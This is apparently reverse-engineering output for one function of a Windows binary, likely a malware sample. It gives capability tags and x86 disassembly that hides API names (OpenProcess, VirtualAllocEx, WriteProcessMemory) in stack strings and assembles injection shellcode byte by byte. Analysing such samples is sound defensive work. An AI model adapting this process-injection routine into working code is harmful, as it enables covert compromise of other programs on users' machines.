Function at 0x414e50
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header

Disassembly:
sub esp, 0x6fc
mov eax, dword [0x431060]
xor eax, esp
mov dword [esp + 0x6f8], eax
mov eax, dword [esp + 0x700]
push ebx
xor ebx, ebx
mov dword [esp + 0x18], eax
xor eax, eax
mov dword [esp + 0x14], ecx
mov cl, 0x65
mov dword [esp + 0x10], edx
mov dl, 0x6c
push esi
push edi
mov byte [esp + 0x84], 0x6b
mov byte [esp + 0x85], cl
mov byte [esp + 0x86], 0x72
mov byte [esp + 0x87], 0x6e
mov byte [esp + 0x88], cl
mov byte [esp + 0x89], dl
mov byte [esp + 0x8a], 0x33
mov byte [esp + 0x8b], 0x32
mov byte [esp + 0x8c], 0x2e
mov byte [esp + 0x8d], 0x64
mov byte [esp + 0x8e], dl
mov byte [esp + 0x8f], dl
mov byte [esp + 0x90], bl
mov dword [esp + 0x91], eax
mov dword [esp + 0x95], eax
mov dword [esp + 0x99], eax
mov dword [esp + 0x9d], eax
mov byte [esp + 0xa1], al
mov byte [esp + 0xe4], 0x75
mov byte [esp + 0xe5], 0x73
mov byte [esp + 0xe6], cl
mov byte [esp + 0xe7], 0x72
mov byte [esp + 0xe8], 0x33
mov byte [esp + 0xe9], 0x32
mov byte [esp + 0xea], 0x2e
mov byte [esp + 0xeb], 0x64
mov byte [esp + 0xec], dl
mov byte [esp + 0xed], dl
mov byte [esp + 0xee], bl
mov dword [esp + 0xef], eax
mov dword [esp + 0xf3], eax
mov dword [esp + 0xf7], eax
mov dword [esp + 0xfb], eax
mov word [esp + 0xff], ax
mov byte [esp + 0x101], al
mov byte [esp + 0xa4], 0x4f
mov byte [esp + 0xa5], 0x70
mov byte [esp + 0xa6], cl
mov byte [esp + 0xa7], 0x6e
mov byte [esp + 0xa8], 0x50
mov byte [esp + 0xa9], 0x72
mov byte [esp + 0xaa], 0x6f
mov byte [esp + 0xab], 0x63
mov byte [esp + 0xac], cl
mov byte [esp + 0xad], 0x73
mov byte [esp + 0xae], 0x73
mov byte [esp + 0xaf], bl
mov dword [esp + 0xb0], eax
mov dword [esp + 0xb4], eax
mov dword [esp + 0xb8], eax
mov dword [esp + 0xbc], eax
mov word [esp + 0xc0], ax
mov byte [esp + 0x64], 0x56
mov byte [esp + 0x65], 0x69
mov byte [esp + 0x66], 0x72
mov byte [esp + 0x67], 0x74
mov byte [esp + 0x68], 0x75
mov byte [esp + 0x69], 0x61
mov byte [esp + 0x6a], dl
mov byte [esp + 0x6b], 0x41
mov byte [esp + 0x6c], dl
mov byte [esp + 0x6d], dl
mov byte [esp + 0x6e], 0x6f
mov byte [esp + 0x6f], 0x63
mov byte [esp + 0x70], 0x45
mov byte [esp + 0x71], 0x78
mov byte [esp + 0x72], bl
mov dword [esp + 0x73], eax
mov dword [esp + 0x77], eax
mov dword [esp + 0x7b], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov byte [esp + 0xc8], cl
mov byte [esp + 0xce], cl
mov byte [esp + 0x28], cl
mov byte [esp + 0x2d], cl
mov byte [esp + 0x31], cl
mov byte [esp + 0x4c], cl
mov byte [esp + 0x4e], cl
mov byte [esp + 0x53], cl
lea ecx, [esp + 0x84]
push ecx
mov word [esp + 0x83], ax
mov byte [esp + 0x85], al
mov byte [esp + 0xc8], 0x43
mov byte [esp + 0xc9], dl
mov byte [esp + 0xca], 0x6f
mov byte [esp + 0xcb], 0x73
mov byte [esp + 0xcd], 0x48
mov byte [esp + 0xce], 0x61
mov byte [esp + 0xcf], 0x6e
mov byte [esp + 0xd0], 0x64
mov byte [esp + 0xd1], dl
mov byte [esp + 0xd3], bl
mov dword [esp + 0xd4], eax
mov dword [esp + 0xd8], eax
mov dword [esp + 0xdc], eax
mov dword [esp + 0xe0], eax
mov word [esp + 0xe4], ax
mov byte [esp + 0x28], 0x57
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], 0x69
mov byte [esp + 0x2b], 0x74
mov byte [esp + 0x2d], 0x50
mov byte [esp + 0x2e], 0x72
mov byte [esp + 0x2f], 0x6f
mov byte [esp + 0x30], 0x63
mov byte [esp + 0x32], 0x73
mov byte [esp + 0x33], 0x73
mov byte [esp + 0x34], 0x4d
mov byte [esp + 0x36], 0x6d
mov byte [esp + 0x37], 0x6f
mov byte [esp + 0x38], 0x72
mov byte [esp + 0x39], 0x79
mov byte [esp + 0x3a], bl
mov dword [esp + 0x10], eax
mov dword [esp + 0x3b], eax
mov dword [esp + 0x3f], eax
mov word [esp + 0x43], ax
mov byte [esp + 0x45], al
mov byte [esp + 0x48], 0x54
mov byte [esp + 0x49], 0x72
mov byte [esp + 0x4a], 0x61
mov byte [esp + 0x4b], 0x6e
mov byte [esp + 0x4c], 0x73
mov byte [esp + 0x4d], dl
mov byte [esp + 0x4e], 0x61
mov byte [esp + 0x4f], 0x74
mov byte [esp + 0x51], 0x4d
mov byte [esp + 0x53], 0x73
mov byte [esp + 0x54], 0x73
mov byte [esp + 0x55], 0x61
mov byte [esp + 0x56], 0x67
mov byte [esp + 0x58], bl
mov dword [esp + 0x59], ebx
mov dword [esp + 0x5d], ebx
mov dword [esp + 0x61], ebx
mov byte [esp + 0x65], bl
call edi
mov esi, eax
cmp esi, ebx
jne 0x4151e8
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x6f8]
xor ecx, esp
call fcn.00415dd3
add esp, 0x6fc
ret
lea edx, [esp + 0xe4]
push edx
call edi
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x4151ce
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [esp + 0xa8]
push eax
push esi
call ebp
lea ecx, [esp + 0x68]
push ecx
push esi
mov edi, eax
call ebp
lea edx, [esp + 0x28]
push edx
push esi
mov dword [esp + 0x18], eax
call ebp
mov dword [esp + 0x18], eax
lea eax, [esp + 0xc8]
push eax
push esi
call ebp
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x48]
push ecx
push edx
mov esi, eax
call ebp
mov ebp, eax
cmp edi, ebx
je 0x41570e
cmp dword [esp + 0x10], ebx
je 0x41570e
cmp dword [esp + 0x18], ebx
je 0x41570e
cmp esi, ebx
je 0x41570e
cmp ebp, ebx
je 0x41570e
push 0x1ff
lea eax, [esp + 0x50d]
push ebx
push eax
mov byte [esp + 0x514], bl
call fcn.00417ce0
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x514]
push ecx
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], ebx
call fcn.00414950
add esp, 0x10
test eax, eax
je 0x41570e
mov dl, 0x68
mov al, 0x6a
mov cl, 0xff
mov byte [esp + 0x121], dl
mov byte [esp + 0x126], dl
mov dl, 0x83
mov byte [esp + 0x108], 0x60
mov byte [esp + 0x109], 0x9c
mov byte [esp + 0x10a], 0xe8
mov byte [esp + 0x10b], 0x6b
mov byte [esp + 0x10c], bl
mov byte [esp + 0x10d], bl
mov byte [esp + 0x10e], bl
mov byte [esp + 0x10f], cl
mov byte [esp + 0x110], 0x76
mov byte [esp + 0x111], bl
mov byte [esp + 0x112], al
mov byte [esp + 0x113], bl
mov byte [esp + 0x114], al
mov byte [esp + 0x115], 0x38
mov byte [esp + 0x116], cl
mov byte [esp + 0x117], 0x56
mov byte [esp + 0x118], 4
mov byte [esp + 0x119], 0x85
mov byte [esp + 0x11a], 0xc0
mov byte [esp + 0x11b], 0x74
mov byte [esp + 0x11c], 0x5a
mov byte [esp + 0x11d], 0x8b
mov byte [esp + 0x11e], pe_nt_image_headers32
mov byte [esp + 0x11f], al
mov byte [esp + 0x120], 0x40
mov byte [esp + 0x122], bl
mov byte [esp + 0x123], 0x10
mov byte [esp + 0x124], bl
mov byte [esp + 0x125], bl
mov byte [esp + 0x127], bl
mov byte [esp + 0x128], 0x10
mov byte [esp + 0x129], bl
mov byte [esp + 0x12a], bl
mov byte [esp + 0x12b], al
mov byte [esp + 0x12c], bl
mov byte [esp + 0x12d], 0x57
mov byte [esp + 0x12e], cl
mov byte [esp + 0x12f], 0x56
mov byte [esp + 0x130], 8
mov byte [esp + 0x131], 0x85
mov byte [esp + 0x132], 0xc0
mov byte [esp + 0x133], 0x74
mov byte [esp + 0x134], 0x3e
mov byte [esp + 0x135], 0x8b
mov byte [esp + 0x136], 0xd0
mov byte [esp + 0x137], 0x2b
mov byte [esp + 0x138], 0x56
mov byte [esp + 0x139], 0xc
mov byte [esp + 0x13a], dl
mov byte [esp + 0x13b], 0xec
mov byte [esp + 0x13c], 8
mov byte [esp + 0x13d], 0xc6
mov byte [esp + 0x13e], 4
mov byte [esp + 0x13f], 0x24
mov byte [esp + 0x140], 0xe8
mov byte [esp + 0x141], 0x89
mov byte [esp + 0x142], 0x54
mov byte [esp + 0x143], 0x24
mov byte [esp + 0x144], 1
mov byte [esp + 0x145], 0x66
mov byte [esp + 0x146], 0xc7
mov byte [esp + 0x147], 0x44
mov byte [esp + 0x148], 0x24
mov byte [esp + 0x149], 5
mov byte [esp + 0x14a], 0xeb
mov byte [esp + 0x14b], 0xf9
mov byte [esp + 0x14c], al
mov byte [esp + 0x14d], bl
mov byte [esp + 0x14e], cl
mov byte [esp + 0x14f], 0x76
mov byte [esp + 0x150], 0x18
mov byte [esp + 0x151], 0x8d
mov byte [esp + 0x152], 0x56
mov byte [esp + 0x153], 0x1c
mov byte [esp + 0x154], 0x52
push 0x384
mov byte [esp + 0x16c], dl
mov byte [esp + 0x174], dl
mov byte [esp + 0x184], dl
mov byte [esp + 0x164], al
mov byte [esp + 0x166], al
mov al, 0xc3
lea edx, [esp + 0x188]
push ebx
push edx
mov byte [esp + 0x161], 0x50
mov byte [esp + 0x162], 0x57
mov byte [esp + 0x163], cl
mov byte [esp + 0x164], 0x56
mov byte [esp + 0x165], 0x10
mov byte [esp + 0x166], 0x85
mov byte [esp + 0x167], 0xc0
mov byte [esp + 0x168], 0x74
mov byte [esp + 0x169], 0x12
mov byte [esp + 0x16a], 0x8b
mov byte [esp + 0x16b], 0xc4
mov byte [esp + 0x16d], bl
mov byte [esp + 0x16f], 7
mov byte [esp + 0x170], 0x50
mov byte [esp + 0x171], 0x8b
mov byte [esp + 0x172], 0x46
mov byte [esp + 0x173], 0xc
mov byte [esp + 0x175], 0xe8
mov byte [esp + 0x176], 5
mov byte [esp + 0x177], 0x50
mov byte [esp + 0x178], 0x57
mov byte [esp + 0x179], cl
mov byte [esp + 0x17a], 0x56
mov byte [esp + 0x17b], 0x10
mov byte [esp + 0x17d], 0xc4
mov byte [esp + 0x17e], 8
mov byte [esp + 0x17f], 0x57
mov byte [esp + 0x180], cl
mov byte [esp + 0x181], 0x56
mov byte [esp + 0x182], 0x14
mov byte [esp + 0x183], 0x9d
mov byte [esp + 0x184], 0x61
mov byte [esp + 0x185], al
mov byte [esp + 0x186], 0xe8
mov byte [esp + 0x187], bl
mov byte [esp + 0x188], bl
mov byte [esp + 0x189], bl
mov byte [esp + 0x18a], bl
mov byte [esp + 0x18b], 0x5e
mov byte [esp + 0x18d], 0xc6
mov byte [esp + 0x18e], 5
mov byte [esp + 0x18f], al
call fcn.00417ce0
mov eax, dword [esp + 0x720]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x1a4], esi
mov esi, dword [esp + 0x20]
mov dword [esp + 0x190], eax
push esi
lea eax, [esp + 0x518]
mov dword [esp + 0x19c], ecx
push eax
lea ecx, [esp + 0x1b4]
push ecx
mov dword [esp + 0x1a0], edi
mov dword [esp + 0x1a8], ebp
mov dword [esp + 0x1ac], edx
mov dword [esp + 0x1b4], esi
call fcn.00418300
add esi, 0x98
add esp, 0x18
cmp esi, 0x400
jg 0x41570e
mov eax, dword [esp + 0x24]
push esi
lea edx, [esp + 0x10c]
push edx
push eax
call fcn.00418300
mov ecx, dword [esp + 0x2c]
add esp, 0xc
mov dword [ecx], esi
mov eax, 1
jmp 0x415710
xor eax, eax
mov ecx, dword [esp + 0x708]
pop ebp
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00415dd3
add esp, 0x6fc
ret